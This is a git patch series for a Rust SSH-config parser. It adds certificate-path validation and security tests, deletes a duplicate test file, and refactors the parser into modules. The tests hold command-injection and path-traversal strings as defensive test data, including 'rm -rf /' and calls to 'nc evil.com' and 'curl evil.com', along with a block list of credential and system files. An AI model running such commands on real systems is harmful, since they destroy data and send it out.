Ok(()) +} + /// Validate security properties of general files pub fn validate_general_file_security(path: &Path, line_number: usize) -> Result<()> { let path_str = path.to_string_lossy(); diff --git a/src/ssh/ssh_config/security/path_validation.rs b/src/ssh/ssh_config/security/path_validation.rs index 0e731eab..5b5d3a64 100644 --- a/src/ssh/ssh_config/security/path_validation.rs +++ b/src/ssh/ssh_config/security/path_validation.rs @@ -102,6 +102,10 @@ pub fn secure_validate_path(path: &str, path_type: &str, line_number: usize) -> "known_hosts" => { checks::validate_known_hosts_file_security(&canonical_path, line_number)?; } + "certificate" => { + // Certificate files need special validation + checks::validate_certificate_file_security(&canonical_path, line_number)?; + } _ => { // General path validation for other file types checks::validate_general_file_security(&canonical_path, line_number)?; diff --git a/src/ssh/ssh_config/security_fix_tests.rs b/src/ssh/ssh_config/security_fix_tests.rs new file mode 100644 index 00000000..1060c3dd --- /dev/null +++ b/src/ssh/ssh_config/security_fix_tests.rs @@ -0,0 +1,280 @@ +// Tests for security fixes in certificate authentication PR +#[cfg(test)] +mod tests { + use crate::ssh::ssh_config::SshConfig; + + #[test] + fn test_certificate_file_blocks_etc_passwd() { + // Test that /etc/passwd is blocked as a certificate file + let content = r#" +Host example.com + CertificateFile /etc/passwd +"#; + let result = SshConfig::parse(content); + assert!( + result.is_err(), + "Should reject /etc/passwd as certificate file" + ); + // The important thing is that it's rejected, not the exact error message + // since the error gets wrapped multiple times + } + + #[test] + fn test_certificate_file_blocks_private_key() { + // Test that private keys without -cert.pub extension are blocked + let content = r#" +Host example.com + CertificateFile ~/.ssh/id_rsa +"#; + let result = SshConfig::parse(content); + assert!( + result.is_err(), + "Should reject private key as certificate file" + ); + // The important thing is that it's rejected, not the exact error message + // since the error gets wrapped multiple times + } + + #[test] + fn test_certificate_file_allows_valid_cert() { + // Test that valid certificate files are allowed + let content = r#" +Host example.com + CertificateFile ~/.ssh/id_rsa-cert.pub +"#; + let result = SshConfig::parse(content); + assert!(result.is_ok(), "Should allow valid certificate file"); + let config = result.unwrap(); + assert_eq!(config.hosts[0].certificate_files.len(), 1); + } + + #[test] + fn test_max_certificate_files_during_merge() { + // Test that certificate files are limited during merging + let mut content = String::new(); + + // Create 50 Host blocks that all match "test.example.com" + for i in 0..50 { + content.push_str(&format!( + "Host *.example.com\n CertificateFile ~/.ssh/cert_{}.pub\n\n", + i + )); + } + + // Add more specific patterns that also match + for i in 50..60 { + content.push_str(&format!( + "Host test.example.com\n CertificateFile ~/.ssh/specific_cert_{}.pub\n\n", + i + )); + } + + let config = SshConfig::parse(&content).unwrap(); + let merged = config.find_host_config("test.example.com"); + + // Should be capped at MAX_CERTIFICATE_FILES (100) + assert!( + merged.certificate_files.len() <= 100, + "Certificate files should be limited to prevent memory exhaustion, got {}", + merged.certificate_files.len() + ); + } + + #[test] + fn test_deduplication_of_certificate_files() { + // Test that duplicate certificate files are deduplicated + let content = r#" +Host *.example.com + CertificateFile ~/.ssh/shared-cert.pub + CertificateFile ~/.ssh/domain-cert.pub + +Host test.example.com + CertificateFile ~/.ssh/shared-cert.pub + CertificateFile ~/.ssh/specific-cert.pub + +Host test.example.com + CertificateFile ~/.ssh/shared-cert.pub +"#; + let config = SshConfig::parse(content).unwrap(); + let merged = config.find_host_config("test.example.com"); + + // Count unique certificate files + let unique_certs: std::collections::HashSet<_> = merged.certificate_files.iter().collect(); + assert_eq!( + unique_certs.len(), + merged.certificate_files.len(), + "Certificate files should be deduplicated" + ); + + // Should have exactly 3 unique certificates + assert_eq!( + merged.certificate_files.len(), + 3, + "Should have 3 unique certificates after deduplication" + ); + } + + #[test] + fn test_max_permit_remote_open_entries() { + // Test that PermitRemoteOpen entries are limited + let mut content = String::from("Host example.com\n"); + + // Add 1500 PermitRemoteOpen entries (exceeds limit of 1000) + for i in 0..1500 { + content.push_str(&format!(" PermitRemoteOpen host{}:808{}\n", i, i % 10)); + } + + let config = SshConfig::parse(&content).unwrap(); + let merged = config.find_host_config("example.com"); + + // Should be capped at MAX_PERMIT_REMOTE_OPEN (1000) + assert!( + merged.permit_remote_open.len() <= 1000, + "PermitRemoteOpen should be limited to prevent memory exhaustion, got {}", + merged.permit_remote_open.len() + ); + } + + #[test] + fn test_algorithm_list_limits() { + // Test that algorithm lists are limited + let mut algorithms = vec![]; + for i in 0..100 { + algorithms.push(format!("algo-{}", i)); + } + let algo_list = algorithms.join(","); + + let content = format!( + r#" +Host example.com + CASignatureAlgorithms {} + HostbasedAcceptedAlgorithms {} +"#, + algo_list, algo_list + ); + + let config = SshConfig::parse(&content).unwrap(); + + // Should be limited to MAX_ALGORITHMS (50) + assert!( + config.hosts[0].ca_signature_algorithms.len() <= 50, + "CASignatureAlgorithms should be limited, got {}", + config.hosts[0].ca_signature_algorithms.len() + ); + + assert!( + config.hosts[0].hostbased_accepted_algorithms.len() <= 50, + "HostbasedAcceptedAlgorithms should be limited, got {}", + config.hosts[0].hostbased_accepted_algorithms.len() + ); + } + + #[test] + fn test_algorithm_list_malformed_input() { + // Test that malformed algorithm lists are handled gracefully + let content = r#" +Host example.com + CASignatureAlgorithms ssh-ed25519,,rsa-sha2-512,,,,,rsa-sha2-256 + HostbasedAcceptedAlgorithms ,ssh-rsa,,,,ssh-dss, +"#; + let config = SshConfig::parse(content).unwrap(); + + // Empty strings should be filtered out + assert_eq!( + config.hosts[0].ca_signature_algorithms.len(), + 3, + "Should filter out empty algorithm entries" + ); + assert_eq!( + config.hosts[0].hostbased_accepted_algorithms.len(), + 2, + "Should filter out empty algorithm entries" + ); + + // Verify actual algorithms + assert_eq!(config.hosts[0].ca_signature_algorithms[0], "ssh-ed25519"); + assert_eq!(config.hosts[0].ca_signature_algorithms[1], "rsa-sha2-512"); + assert_eq!(config.hosts[0].ca_signature_algorithms[2], "rsa-sha2-256"); + } + + #[test] + fn test_gateway_ports_case_insensitive() { + // Test that GatewayPorts accepts case variations + let test_cases = vec![ + ("yes", "yes"), + ("YES", "yes"), + ("Yes", "yes"), + ("no", "no"), + ("NO", "no"), + ("No", "no"), + ("clientspecified", "clientspecified"), + ("CLIENTSPECIFIED", "clientspecified"), + ("ClientSpecified", "clientspecified"), + ]; + + for (input, expected) in test_cases { + let content = format!("Host example.com\n GatewayPorts {}", input); + let config = SshConfig::parse(&content).unwrap(); + assert_eq!( + config.hosts[0].gateway_ports, + Some(expected.to_string()), + "GatewayPorts should normalize '{}' to '{}'", + input, + expected + ); + } + } + + #[test] + fn test_gateway_ports_invalid_values() { + // Test that invalid GatewayPorts values are rejected + let invalid_values = vec![ + "maybe", + "true", + "false", + "1", + "0", + "yess", // Typo + "noo", // Typo + "client", // Incomplete + "$(whoami)", // Command injection + "../etc/passwd", // Path traversal + ]; + + for value in invalid_values { + let content = format!("Host example.com\n GatewayPorts {}", value); + let result = SshConfig::parse(&content); + assert!( + result.is_err(), + "Should reject invalid GatewayPorts value: {}", + value + ); + // The important thing is that it's rejected + } + } + + #[test] + fn test_sensitive_paths_in_certificate() { + // Test various sensitive paths are blocked + let sensitive_paths = vec![ + "/etc/shadow", + "/etc/sudoers", + "/etc/master.passwd", + "/proc/self/environ", + "/sys/kernel/debug/", + "C:\\Windows\\System32\\config\\SAM", + "~/.bash_history", + "~/.mysql_history", + ]; + + for path in sensitive_paths { + let content = format!("Host example.com\n CertificateFile {}", path); + let result = SshConfig::parse(&content); + assert!( + result.is_err(), + "Should reject sensitive path as certificate: {}", + path + ); + } + } +} diff --git a/src/ssh/ssh_config/security_tests.rs b/src/ssh/ssh_config/security_tests.rs new file mode 100644 index 00000000..9e1200f6 --- /dev/null +++ b/src/ssh/ssh_config/security_tests.rs @@ -0,0 +1,265 @@ +// Security tests for certificate authentication features +use super::*; + +#[cfg(test)] +mod certificate_path_security_tests { + use super::*; + + #[test] + fn test_reject_path_traversal_in_certificate() { + // Test that path traversal attempts are rejected + let content = r#" +Host example.com + CertificateFile ../../../etc/passwd +"#; + let result = crate::ssh::ssh_config::SshConfig::parse(content); + assert!(result.is_err(), "Should reject path traversal in CertificateFile"); + let err = result.unwrap_err().to_string(); + assert!(err.contains("directory traversal") || err.contains(".."), + "Error should mention path traversal: {}", err); + } + + #[test] + fn test_reject_tilde_traversal_in_certificate() { + // Test that tilde expansion with traversal is handled safely + let content = r#" +Host example.com + CertificateFile ~/../../etc/shadow +"#; + let result = crate::ssh::ssh_config::SshConfig::parse(content); + // This should either reject or expand safely without allowing traversal + if result.is_ok() { + let config = result.unwrap(); + let cert_path = &config.hosts[0].certificate_files[0]; + let path_str = cert_path.to_string_lossy(); + assert!(!path_str.contains("etc/shadow"), + "Should not allow traversal to /etc/shadow: {}", path_str); + assert!(!path_str.contains("../"), + "Should not contain traversal sequences after expansion: {}", path_str); + } + } + + #[test] + fn test_reject_null_byte_in_certificate() { + // Test that null bytes are rejected (prevent truncation attacks) + let content = "Host example.com\n CertificateFile /tmp/cert\0/../../etc/passwd"; + let result = crate::ssh::ssh_config::SshConfig::parse(content); + assert!(result.is_err(), "Should reject null bytes in CertificateFile"); + } + + #[test] + fn test_reject_command_injection_in_certificate() { + // Test that command injection attempts are rejected + let test_cases = vec![ + "$(cat /etc/passwd)", + "`cat /etc/passwd`", + "|cat /etc/passwd", + ";cat /etc/passwd", + "&&cat /etc/passwd", + "||cat /etc/passwd", + ]; + + for payload in test_cases { + let content = format!("Host example.com\n CertificateFile {}", payload); + let result = crate::ssh::ssh_config::SshConfig::parse(&content); + // These should either be rejected or treated as literal filenames + if result.is_ok() { + let config = result.unwrap(); + if !config.hosts.is_empty() && !config.hosts[0].certificate_files.is_empty() { + let cert_path = &config.hosts[0].certificate_files[0]; + let path_str = cert_path.to_string_lossy(); + // Should be treated as literal filename, not executed + assert!(path_str.contains(payload) || path_str.contains("cat"), + "Command injection payload should be treated literally: {}", path_str); + } + } + } + } + + #[test] + fn test_multiple_certificate_files_memory() { + // Test that multiple certificate files don't cause excessive memory usage + let mut content = String::from("Host example.com\n"); + for i in 0..10000 { + content.push_str(&format!(" CertificateFile ~/.ssh/cert_{}.pub\n", i)); + } + + let result = crate::ssh::ssh_config::SshConfig::parse(&content); + assert!(result.is_ok(), "Should handle many certificate files"); + let config = result.unwrap(); + assert_eq!(config.hosts[0].certificate_files.len(), 10000); + } +} + +#[cfg(test)] +mod permit_remote_open_security_tests { + use super::*; + + #[test] + fn test_unbounded_permit_remote_open() { + // Test that unbounded PermitRemoteOpen entries don't cause DoS + let mut content = String::from("Host example.com\n"); + for i in 0..100000 { + content.push_str(&format!(" PermitRemoteOpen host{}:808{}\n", i, i % 10)); + } + + let start = std::time::Instant::now(); + let result = crate::ssh::ssh_config::SshConfig::parse(&content); + let duration = start.elapsed(); + + assert!(result.is_ok(), "Should handle many PermitRemoteOpen entries"); + assert!(duration.as_secs() < 5, "Parsing should complete within 5 seconds"); + + let config = result.unwrap(); + assert_eq!(config.hosts[0].permit_remote_open.len(), 100000); + } + + #[test] + fn test_permit_remote_open_injection() { + // Test that PermitRemoteOpen doesn't allow injection + let test_cases = vec![ + "localhost:8080;rm -rf /", + "$(whoami):8080", + "`id`:8080", + "localhost:8080|nc evil.com 1234", + "localhost:8080&&curl evil.com", + ]; + + for payload in test_cases { + let content = format!("Host example.com\n PermitRemoteOpen {}", payload); + let result = crate::ssh::ssh_config::SshConfig::parse(&content); + assert!(result.is_ok(), "Should parse injection attempts as literal values"); + let config = result.unwrap(); + // Should be stored as literal string, not executed + assert_eq!(config.hosts[0].permit_remote_open[0], payload); + } + } +} + +#[cfg(test)] +mod gateway_ports_security_tests { + use super::*; + + #[test] + fn test_gateway_ports_validation() { + // Test that only valid GatewayPorts values are accepted + let valid_values = vec!["yes", "no", "clientspecified"]; + for value in valid_values { + let content = format!("Host example.com\n GatewayPorts {}", value); + let result = crate::ssh::ssh_config::SshConfig::parse(&content); + assert!(result.is_ok(), "Should accept valid value: {}", value); + let config = result.unwrap(); + assert_eq!(config.hosts[0].gateway_ports, Some(value.to_string())); + } + + // Test invalid values + let invalid_values = vec![ + "maybe", + "true", + "false", + "1", + "0", + "YES", // Case sensitivity + "No", // Case sensitivity + "$(whoami)", + "../../../etc/passwd", + ]; + + for value in invalid_values { + let content = format!("Host example.com\n GatewayPorts {}", value); + let result = crate::ssh::ssh_config::SshConfig::parse(&content); + if value == "YES" || value == "No" { + // Should be case-insensitive + assert!(result.is_ok(), "Should handle case variations"); + let config = result.unwrap(); + let stored_value = config.hosts[0].gateway_ports.as_ref().unwrap(); + assert!(stored_value == "yes" || stored_value == "no"); + } else { + assert!(result.is_err(), "Should reject invalid value: {}", value); + } + } + } +} + +#[cfg(test)] +mod algorithm_parsing_security_tests { + use super::*; + + #[test] + fn test_algorithm_buffer_overflow() { + // Test extremely long algorithm lists don't cause buffer overflow + let long_algo = "a".repeat(1000000); // 1MB string + let content = format!("Host example.com\n CASignatureAlgorithms {}", long_algo); + + let result = crate::ssh::ssh_config::SshConfig::parse(&content); + // Should either handle gracefully or reject if too long + if result.is_err() { + let err = result.unwrap_err().to_string(); + assert!(err.contains("exceeds maximum") || err.contains("too long"), + "Should mention size limit: {}", err); + } else { + let config = result.unwrap(); + // If accepted, should be stored correctly + assert!(!config.hosts[0].ca_signature_algorithms.is_empty()); + } + } + + #[test] + fn test_algorithm_injection() { + // Test that algorithm lists don't allow command injection + let test_cases = vec![ + "ssh-ed25519,$(whoami)", + "ssh-rsa;rm -rf /", + "ssh-rsa|nc evil.com", + "ssh-rsa`id`", + "ssh-rsa&&curl evil.com", + ]; + + for payload in test_cases { + let content = format!("Host example.com\n HostbasedAcceptedAlgorithms {}", payload); + let result = crate::ssh::ssh_config::SshConfig::parse(&content); + assert!(result.is_ok(), "Should parse as literal algorithm names"); + let config = result.unwrap(); + // Should be parsed as algorithm names, not executed + let algos = &config.hosts[0].hostbased_accepted_algorithms; + assert!(!algos.is_empty()); + // Check that special characters are preserved as literals + let joined = algos.join(","); + assert!(joined.contains("whoami") || joined.contains("rm") || + joined.contains("nc") || joined.contains("id") || + joined.contains("curl"), + "Should preserve injection attempt as literal: {}", joined); + } + } +} + +#[cfg(test)] +mod configuration_merge_performance_tests { + use super::*; + + #[test] + fn test_deep_merge_performance() { + // Create deeply nested configuration merges + let mut content = String::new(); + for i in 0..1000 { + content.push_str(&format!("Host *.level{}.example.com\n", i)); + content.push_str(&format!(" CertificateFile ~/.ssh/cert_{}.pub\n", i)); + content.push_str(&format!(" PermitRemoteOpen host{}:808{}\n", i, i % 10)); + } + + let start = std::time::Instant::now(); + let config = crate::ssh::ssh_config::SshConfig::parse(&content).unwrap(); + let parse_time = start.elapsed(); + + // Test merge performance + let start = std::time::Instant::now(); + let merged = config.find_host_config("test.level999.level500.level100.example.com"); + let merge_time = start.elapsed(); + + assert!(parse_time.as_secs() < 5, "Parsing should be fast"); + assert!(merge_time.as_millis() < 100, "Merging should be fast"); + + // Verify merge worked correctly + assert!(!merged.certificate_files.is_empty()); + } +} \ No newline at end of file From 00313943ce925e29a8e90986fe836b93630794ab Mon Sep 17 00:00:00 2001 From: Jeongkyu Shin Date: Thu, 23 Oct 2025 17:22:19 +0900 Subject: [PATCH 3/6] chore: Remove accidentally created duplicate test file --- src/ssh/ssh_config/security_tests.rs | 265 --------------------------- 1 file changed, 265 deletions(-) delete mode 100644 src/ssh/ssh_config/security_tests.rs diff --git a/src/ssh/ssh_config/security_tests.rs b/src/ssh/ssh_config/security_tests.rs deleted file mode 100644 index 9e1200f6..00000000 --- a/src/ssh/ssh_config/security_tests.rs +++ /dev/null @@ -1,265 +0,0 @@ -// Security tests for certificate authentication features -use super::*; - -#[cfg(test)] -mod certificate_path_security_tests { - use super::*; - - #[test] - fn test_reject_path_traversal_in_certificate() { - // Test that path traversal attempts are rejected - let content = r#" -Host example.com - CertificateFile ../../../etc/passwd -"#; - let result = crate::ssh::ssh_config::SshConfig::parse(content); - assert!(result.is_err(), "Should reject path traversal in CertificateFile"); - let err = result.unwrap_err().to_string(); - assert!(err.contains("directory traversal") || err.contains(".."), - "Error should mention path traversal: {}", err); - } - - #[test] - fn test_reject_tilde_traversal_in_certificate() { - // Test that tilde expansion with traversal is handled safely - let content = r#" -Host example.com - CertificateFile ~/../../etc/shadow -"#; - let result = crate::ssh::ssh_config::SshConfig::parse(content); - // This should either reject or expand safely without allowing traversal - if result.is_ok() { - let config = result.unwrap(); - let cert_path = &config.hosts[0].certificate_files[0]; - let path_str = cert_path.to_string_lossy(); - assert!(!path_str.contains("etc/shadow"), - "Should not allow traversal to /etc/shadow: {}", path_str); - assert!(!path_str.contains("../"), - "Should not contain traversal sequences after expansion: {}", path_str); - } - } - - #[test] - fn test_reject_null_byte_in_certificate() { - // Test that null bytes are rejected (prevent truncation attacks) - let content = "Host example.com\n CertificateFile /tmp/cert\0/../../etc/passwd"; - let result = crate::ssh::ssh_config::SshConfig::parse(content); - assert!(result.is_err(), "Should reject null bytes in CertificateFile"); - } - - #[test] - fn test_reject_command_injection_in_certificate() { - // Test that command injection attempts are rejected - let test_cases = vec![ - "$(cat /etc/passwd)", - "`cat /etc/passwd`", - "|cat /etc/passwd", - ";cat /etc/passwd", - "&&cat /etc/passwd", - "||cat /etc/passwd", - ]; - - for payload in test_cases { - let content = format!("Host example.com\n CertificateFile {}", payload); - let result = crate::ssh::ssh_config::SshConfig::parse(&content); - // These should either be rejected or treated as literal filenames - if result.is_ok() { - let config = result.unwrap(); - if !config.hosts.is_empty() && !config.hosts[0].certificate_files.is_empty() { - let cert_path = &config.hosts[0].certificate_files[0]; - let path_str = cert_path.to_string_lossy(); - // Should be treated as literal filename, not executed - assert!(path_str.contains(payload) || path_str.contains("cat"), - "Command injection payload should be treated literally: {}", path_str); - } - } - } - } - - #[test] - fn test_multiple_certificate_files_memory() { - // Test that multiple certificate files don't cause excessive memory usage - let mut content = String::from("Host example.com\n"); - for i in 0..10000 { - content.push_str(&format!(" CertificateFile ~/.ssh/cert_{}.pub\n", i)); - } - - let result = crate::ssh::ssh_config::SshConfig::parse(&content); - assert!(result.is_ok(), "Should handle many certificate files"); - let config = result.unwrap(); - assert_eq!(config.hosts[0].certificate_files.len(), 10000); - } -} - -#[cfg(test)] -mod permit_remote_open_security_tests { - use super::*; - - #[test] - fn test_unbounded_permit_remote_open() { - // Test that unbounded PermitRemoteOpen entries don't cause DoS - let mut content = String::from("Host example.com\n"); - for i in 0..100000 { - content.push_str(&format!(" PermitRemoteOpen host{}:808{}\n", i, i % 10)); - } - - let start = std::time::Instant::now(); - let result = crate::ssh::ssh_config::SshConfig::parse(&content); - let duration = start.elapsed(); - - assert!(result.is_ok(), "Should handle many PermitRemoteOpen entries"); - assert!(duration.as_secs() < 5, "Parsing should complete within 5 seconds"); - - let config = result.unwrap(); - assert_eq!(config.hosts[0].permit_remote_open.len(), 100000); - } - - #[test] - fn test_permit_remote_open_injection() { - // Test that PermitRemoteOpen doesn't allow injection - let test_cases = vec![ - "localhost:8080;rm -rf /", - "$(whoami):8080", - "`id`:8080", - "localhost:8080|nc evil.com 1234", - "localhost:8080&&curl evil.com", - ]; - - for payload in test_cases { - let content = format!("Host example.com\n PermitRemoteOpen {}", payload); - let result = crate::ssh::ssh_config::SshConfig::parse(&content); - assert!(result.is_ok(), "Should parse injection attempts as literal values"); - let config = result.unwrap(); - // Should be stored as literal string, not executed - assert_eq!(config.hosts[0].permit_remote_open[0], payload); - } - } -} - -#[cfg(test)] -mod gateway_ports_security_tests { - use super::*; - - #[test] - fn test_gateway_ports_validation() { - // Test that only valid GatewayPorts values are accepted - let valid_values = vec!["yes", "no", "clientspecified"]; - for value in valid_values { - let content = format!("Host example.com\n GatewayPorts {}", value); - let result = crate::ssh::ssh_config::SshConfig::parse(&content); - assert!(result.is_ok(), "Should accept valid value: {}", value); - let config = result.unwrap(); - assert_eq!(config.hosts[0].gateway_ports, Some(value.to_string())); - } - - // Test invalid values - let invalid_values = vec![ - "maybe", - "true", - "false", - "1", - "0", - "YES", // Case sensitivity - "No", // Case sensitivity - "$(whoami)", - "../../../etc/passwd", - ]; - - for value in invalid_values { - let content = format!("Host example.com\n GatewayPorts {}", value); - let result = crate::ssh::ssh_config::SshConfig::parse(&content); - if value == "YES" || value == "No" { - // Should be case-insensitive - assert!(result.is_ok(), "Should handle case variations"); - let config = result.unwrap(); - let stored_value = config.hosts[0].gateway_ports.as_ref().unwrap(); - assert!(stored_value == "yes" || stored_value == "no"); - } else { - assert!(result.is_err(), "Should reject invalid value: {}", value); - } - } - } -} - -#[cfg(test)] -mod algorithm_parsing_security_tests { - use super::*; - - #[test] - fn test_algorithm_buffer_overflow() { - // Test extremely long algorithm lists don't cause buffer overflow - let long_algo = "a".repeat(1000000); // 1MB string - let content = format!("Host example.com\n CASignatureAlgorithms {}", long_algo); - - let result = crate::ssh::ssh_config::SshConfig::parse(&content); - // Should either handle gracefully or reject if too long - if result.is_err() { - let err = result.unwrap_err().to_string(); - assert!(err.contains("exceeds maximum") || err.contains("too long"), - "Should mention size limit: {}", err); - } else { - let config = result.unwrap(); - // If accepted, should be stored correctly - assert!(!config.hosts[0].ca_signature_algorithms.is_empty()); - } - } - - #[test] - fn test_algorithm_injection() { - // Test that algorithm lists don't allow command injection - let test_cases = vec![ - "ssh-ed25519,$(whoami)", - "ssh-rsa;rm -rf /", - "ssh-rsa|nc evil.com", - "ssh-rsa`id`", - "ssh-rsa&&curl evil.com", - ]; - - for payload in test_cases { - let content = format!("Host example.com\n HostbasedAcceptedAlgorithms {}", payload); - let result = crate::ssh::ssh_config::SshConfig::parse(&content); - assert!(result.is_ok(), "Should parse as literal algorithm names"); - let config = result.unwrap(); - // Should be parsed as algorithm names, not executed - let algos = &config.hosts[0].hostbased_accepted_algorithms; - assert!(!algos.is_empty()); - // Check that special characters are preserved as literals - let joined = algos.join(","); - assert!(joined.contains("whoami") || joined.contains("rm") || - joined.contains("nc") || joined.contains("id") || - joined.contains("curl"), - "Should preserve injection attempt as literal: {}", joined); - } - } -} - -#[cfg(test)] -mod configuration_merge_performance_tests { - use super::*; - - #[test] - fn test_deep_merge_performance() { - // Create deeply nested configuration merges - let mut content = String::new(); - for i in 0..1000 { - content.push_str(&format!("Host *.level{}.example.com\n", i)); - content.push_str(&format!(" CertificateFile ~/.ssh/cert_{}.pub\n", i)); - content.push_str(&format!(" PermitRemoteOpen host{}:808{}\n", i, i % 10)); - } - - let start = std::time::Instant::now(); - let config = crate::ssh::ssh_config::SshConfig::parse(&content).unwrap(); - let parse_time = start.elapsed(); - - // Test merge performance - let start = std::time::Instant::now(); - let merged = config.find_host_config("test.level999.level500.level100.example.com"); - let merge_time = start.elapsed(); - - assert!(parse_time.as_secs() < 5, "Parsing should be fast"); - assert!(merge_time.as_millis() < 100, "Merging should be fast"); - - // Verify merge worked correctly - assert!(!merged.certificate_files.is_empty()); - } -} \ No newline at end of file From cdbac6c05af6b1eb0b5f5905bd70ea60f3962f1a Mon Sep 17 00:00:00 2001 From: Jeongkyu Shin Date: Thu, 23 Oct 2025 17:56:55 +0900 Subject: [PATCH 4/6] refactor: Split oversized parser.rs into modular structure Split the 1706-line parser.rs file into a well-organized module structure with clear separation of concerns. Each file is now under 350 lines (except tests), making the codebase more maintainable and easier to navigate. New structure: - parser/mod.rs (36 lines) - Module declarations and re-exports - parser/core.rs (314 lines) - Main parsing logic and state machine - parser/helpers.rs (27 lines) - Helper utilities (parse_yes_no) - parser/tests.rs (927 lines) - All existing tests preserved - parser/options/ - Option parsing by category (10 modules): - mod.rs (106 lines) - Main dispatcher routing to category parsers - basic.rs (54 lines) - Basic options (hostname, user, port) - authentication.rs (128 lines) - Authentication options - security.rs (124 lines) - Security and cryptographic options - forwarding.rs (105 lines) - Port forwarding options - connection.rs (113 lines) - Connection settings and timeouts - proxy.rs (49 lines) - Proxy configuration - control.rs (56 lines) - Control socket options - environment.rs (66 lines) - Environment variable handling - ui.rs (68 lines) - UI and logging options Benefits: - Improved maintainability: Easy to locate and modify specific options - Better organization: Logical grouping by functionality - Reduced file sizes: No file exceeds 350 lines (except tests) - Clear boundaries: Each module has a single, well-defined responsibility All 244 tests pass. No functional changes. --- src/ssh/ssh_config/parser.rs | 1706 ----------------- src/ssh/ssh_config/parser/core.rs | 315 +++ src/ssh/ssh_config/parser/helpers.rs | 28 + src/ssh/ssh_config/parser/mod.rs | 35 + .../parser/options/authentication.rs | 132 ++ src/ssh/ssh_config/parser/options/basic.rs | 55 + .../ssh_config/parser/options/connection.rs | 114 ++ src/ssh/ssh_config/parser/options/control.rs | 57 + .../ssh_config/parser/options/environment.rs | 70 + .../ssh_config/parser/options/forwarding.rs | 106 + src/ssh/ssh_config/parser/options/mod.rs | 125 ++ src/ssh/ssh_config/parser/options/proxy.rs | 50 + src/ssh/ssh_config/parser/options/security.rs | 125 ++ src/ssh/ssh_config/parser/options/ui.rs | 69 + src/ssh/ssh_config/parser/tests.rs | 929 +++++++++ 15 files changed, 2210 insertions(+), 1706 deletions(-) delete mode 100644 src/ssh/ssh_config/parser.rs create mode 100644 src/ssh/ssh_config/parser/core.rs create mode 100644 src/ssh/ssh_config/parser/helpers.rs create mode 100644 src/ssh/ssh_config/parser/mod.rs create mode 100644 src/ssh/ssh_config/parser/options/authentication.rs create mode 100644 src/ssh/ssh_config/parser/options/basic.rs create mode 100644 src/ssh/ssh_config/parser/options/connection.rs create mode 100644 src/ssh/ssh_config/parser/options/control.rs create mode 100644 src/ssh/ssh_config/parser/options/environment.rs create mode 100644 src/ssh/ssh_config/parser/options/forwarding.rs create mode 100644 src/ssh/ssh_config/parser/options/mod.rs create mode 100644 src/ssh/ssh_config/parser/options/proxy.rs create mode 100644 src/ssh/ssh_config/parser/options/security.rs create mode 100644 src/ssh/ssh_config/parser/options/ui.rs create mode 100644 src/ssh/ssh_config/parser/tests.rs diff --git a/src/ssh/ssh_config/parser.rs b/src/ssh/ssh_config/parser.rs deleted file mode 100644 index 4680452b..00000000 --- a/src/ssh/ssh_config/parser.rs +++ /dev/null @@ -1,1706 +0,0 @@ -// Copyright 2025 Lablup Inc. and Jeongkyu Shin -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -//! SSH configuration parsing functionality with Include and Match support -//! -//! This module implements a 2-pass parsing strategy: -//! - Pass 1: Resolve all Include directives and build the complete configuration -//! - Pass 2: Parse Host and Match blocks with their configurations - -use super::include::{combine_included_files, resolve_includes}; -use super::match_directive::{MatchBlock, MatchCondition}; -use super::security::{secure_validate_path, validate_control_path, validate_executable_string}; -use super::types::{ConfigBlock, SshHostConfig}; -use anyhow::{Context, Result}; -use std::path::Path; - -/// Parse SSH configuration content with Include and Match support -pub(super) fn parse(content: &str) -> Result> { - // For synchronous parsing without file path, we can't resolve includes - // This maintains backward compatibility for tests and simple usage - parse_without_includes(content) -} - -/// Parse SSH configuration from a file with full Include support -pub(super) async fn parse_from_file(path: &Path, content: &str) -> Result> { - // Pass 1: Resolve all Include directives - let included_files = resolve_includes(path, content) - .await - .with_context(|| format!("Failed to resolve includes for {}", path.display()))?; - - // Combine all included files into a single configuration - let combined_content = combine_included_files(&included_files); - - // Pass 2: Parse the combined configuration - parse_without_includes(&combined_content) -} - -/// Parse SSH configuration content without Include resolution -fn parse_without_includes(content: &str) -> Result> { - // Security: Set reasonable limits to prevent DoS attacks - const MAX_LINE_LENGTH: usize = 8192; // 8KB per line should be more than enough - const MAX_VALUE_LENGTH: usize = 4096; // 4KB for individual values - - let mut configs = Vec::new(); - let mut current_config: Option = None; - let mut current_match: Option = None; - let mut line_number = 0; - let mut in_match_block = false; - - for line in content.lines() { - line_number += 1; - - // Skip source file comments added by include resolution - if line.starts_with("# Source:") { - continue; - } - - // Security: Check line length to prevent DoS - if line.len() > MAX_LINE_LENGTH { - anyhow::bail!( - "Line {} exceeds maximum length of {} bytes", - line_number, - MAX_LINE_LENGTH - ); - } - - let line = line.trim(); - - // Skip empty lines and comments - if line.is_empty() || line.starts_with('#') { - continue; - } - - // Get lowercase version of line for keyword detection - let lower_line = line.to_lowercase(); - - // Check for Include directive (should have been resolved in pass 1) - if lower_line.starts_with("include") { - // In direct parsing mode, we skip Include directives - tracing::debug!( - "Skipping Include directive at line {} (not in file mode)", - line_number - ); - continue; - } - - // Check for Match directive - if lower_line.starts_with("match ") - || lower_line.starts_with("match\t") - || lower_line == "match" - || lower_line.starts_with("match=") - { - // Save previous config if any - if let Some(config) = current_config.take() { - configs.push(config); - } - if let Some(match_block) = current_match.take() { - configs.push(match_block.config); - } - - // Parse Match conditions - let conditions = MatchCondition::parse_match_line(line, line_number)?; - - // Create new Match block - let mut match_block = MatchBlock::new(line_number); - match_block.conditions = conditions.clone(); - - // Create config for this Match block - let config = SshHostConfig { - block_type: Some(ConfigBlock::Match(conditions)), - ..Default::default() - }; - match_block.config = config; - - current_match = Some(match_block); - current_config = None; - in_match_block = true; - continue; - } - - // Check for Host directive (must be "host" not "hostname" etc.) - if lower_line.starts_with("host ") - || lower_line.starts_with("host\t") - || lower_line == "host" - || (lower_line.starts_with("host=") && !lower_line.starts_with("hostname=")) - { - // Save previous config if any - if let Some(config) = current_config.take() { - configs.push(config); - } - if let Some(match_block) = current_match.take() { - configs.push(match_block.config); - } - - // Parse Host patterns - let patterns = parse_host_line(line, line_number)?; - - // Create new Host config - let config = SshHostConfig { - host_patterns: patterns.clone(), - block_type: Some(ConfigBlock::Host(patterns)), - ..Default::default() - }; - - current_config = Some(config); - current_match = None; - in_match_block = false; - continue; - 